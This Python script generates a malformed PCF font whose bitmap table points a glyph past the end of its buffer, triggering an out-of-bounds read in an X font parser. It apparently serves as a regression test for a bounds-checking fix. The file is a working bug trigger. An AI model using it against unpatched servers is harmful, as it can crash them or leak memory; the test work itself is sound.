1 #!/usr/bin/env python3 2 """ 3 Generate a malicious PCF font that triggers an out-of-bounds read in the 4 no-repad bitmap path. 5 6 The font stores bitmaps at glyph pad=4 (matching x86_64 server default). 7 The bitmap buffer is small (100 bytes) but a glyph has metrics that 8 extend well past it (offset=80, width=32, height=10 -> needs 40 bytes, 9 so reads up to byte 120, 20 past the 100-byte buffer). 10 11 Without the fix, the no-repad path only checks that the offset is within 12 bounds, not the full glyph extent. 13 14 With the fix, the full glyph size is validated against the buffer. 15 16 Usage: 17 python3 gen_evil_pcf_norepad.py <output_dir> 18 19 Creates <output_dir>/evil-norepad.pcf and <output_dir>/fonts.dir 20 """ 21 22 import struct 23 import sys 24 import os 25 26 PCF_DEFAULT_FORMAT = 0x00000000 27 PCF_PROPERTIES = 1 28 PCF_ACCELERATORS = 2 29 PCF_METRICS = 4 30 PCF_BITMAPS = 8 31 PCF_BDF_ENCODINGS = 32 32 33 34 def u32(x): 35 return struct.pack("<I", x & 0xFFFFFFFF) 36 37 38 def i32(x): 39 return struct.pack("<i", x) 40 41 42 def u16(x): 43 return struct.pack("<H", x & 0xFFFF) 44 45 46 def i16(x): 47 return struct.pack("<h", x) 48 49 50 def u8(x): 51 return struct.pack("<B", x & 0xFF) 52 53 54 def xCharInfo(lsb, rsb, cw, asc, desc, attr): 55 return i16(lsb) + i16(rsb) + i16(cw) + i16(asc) + i16(desc) + u16(attr) 56 57 58 # Glyph metrics: width=32 pixels, height=10 59 # At pad=4: BYTES_PER_ROW(32, 4) = 4, so glyph = 4 * 10 = 40 bytes 60 LSB = 0 61 RSB = 32 62 ASCENT = 8 63 DESCENT = 2 64 CHAR_WIDTH = 32 65 66 # Bitmap: 100 bytes total, but glyph at offset 80 needs 40 bytes (80+40=120 > 100) 67 # Glyph pad = 4 (index 2), matching typical x86_64 server 68 BITMAP_DATA_SIZE = 100 # small buffer 69 GLYPH_OFFSET = 80 # glyph starts near end 70 71 # Bitmap sizes for each pad option: [pad1, pad2, pad4, pad8] 72 # We set pad4 (index 2) = 100 to make the bitmap buffer 100 bytes 73 BITMAP_SIZES = [BITMAP_DATA_SIZE, BITMAP_DATA_SIZE, BITMAP_DATA_SIZE, BITMAP_DATA_SIZE] 74 75 # The font stores at glyph pad 4 (format bits [1:0] = 2 for pad=4) 76 # PCF_GLYPH_PAD_INDEX = format & 3 77 GLYPH_PAD_FORMAT = 2 # pad = 4 78 79 # --- PROPERTIES --- 80 properties = b"" 81 properties += u32(PCF_DEFAULT_FORMAT) 82 properties += i32(1) 83 properties += i32(0) # name offset 84 properties += u8(0) # not string 85 properties += i32(0) # value 86 properties += b"\x00" * 3 # padding (nprops=1, pad to 4) 87 properties += i32(1) # string_size 88 properties += b"\x00" # string table 89 90 # --- ACCELERATORS --- 91 accel = b"" 92 accel += u32(PCF_DEFAULT_FORMAT) 93 accel += u8(0) * 8 94 accel += i32(ASCENT) 95 accel += i32(DESCENT) 96 accel += i32(0) 97 accel += xCharInfo(0, 0, 0, 0, 0, 0) 98 accel += xCharInfo(LSB, RSB, CHAR_WIDTH, ASCENT, DESCENT, 0) 99 100 # --- METRICS (1 glyph) --- 101 metrics = b"" 102 metrics += u32(PCF_DEFAULT_FORMAT) 103 metrics += i32(1) # nmetrics = 1 104 metrics += xCharInfo(LSB, RSB, CHAR_WIDTH, ASCENT, DESCENT, 0) 105 106 # --- BITMAPS --- 107 bitmaps = b"" 108 bitmaps += u32(PCF_DEFAULT_FORMAT | GLYPH_PAD_FORMAT) 109 bitmaps += i32(1) # nbitmaps = 1 110 bitmaps += u32(GLYPH_OFFSET) # offset[0] = 80 111 for sz in BITMAP_SIZES: 112 bitmaps += u32(sz) 113 bitmaps += b"\xaa" * BITMAP_DATA_SIZE 114 115 # --- BDF_ENCODINGS --- 116 encodings = b"" 117 encodings += u32(PCF_DEFAULT_FORMAT) 118 encodings += u16(0) + u16(0) # firstCol, lastCol 119 encodings += u16(0) + u16(0) # firstRow, lastRow 120 encodings += u16(0) # defaultCh 121 encodings += u16(0) # encoding[0] -> metric[0] 122 123 # --- Assemble --- 124 TABLE_COUNT = 5 125 BODY_START = 8 + TABLE_COUNT * 16 126 127 properties_off = BODY_START 128 accel_off = properties_off + len(properties) 129 metrics_off = accel_off + len(accel) 130 bitmaps_off = metrics_off + len(metrics) 131 encodings_off = bitmaps_off + len(bitmaps) 132 133 134 def toc(type_, format_, size, offset): 135 return u32(type_) + u32(format_) + u32(size) + u32(offset) 136 137 138 out = b"\x01fcp" + u32(TABLE_COUNT) 139 out += toc(PCF_PROPERTIES, 0, len(properties), properties_off) 140 out += toc(PCF_ACCELERATORS, 0, len(accel), accel_off) 141 out += toc(PCF_METRICS, 0, len(metrics), metrics_off) 142 out += toc( 143 PCF_BITMAPS, PCF_DEFAULT_FORMAT | GLYPH_PAD_FORMAT, len(bitmaps), bitmaps_off 144 ) 145 out += toc(PCF_BDF_ENCODINGS, 0, len(encodings), encodings_off) 146 out += properties + accel + metrics + bitmaps + encodings 147 148 output_dir = sys.argv[1] if len(sys.argv) > 1 else "." 149 os.makedirs(output_dir, exist_ok=True) 150 151 pcf_name = "evil-norepad.pcf" 152 xlfd = "-evil-norepad-medium-r-normal--10-100-75-75-c-80-iso10646-1" 153 154 with open(os.path.join(output_dir, pcf_name), "wb") as f: 155 f.write(out) 156 157 with open(os.path.join(output_dir, "fonts.dir"), "w") as f: 158 f.write("1\n") 159 f.write(f"{pcf_name} {xlfd}\n") 160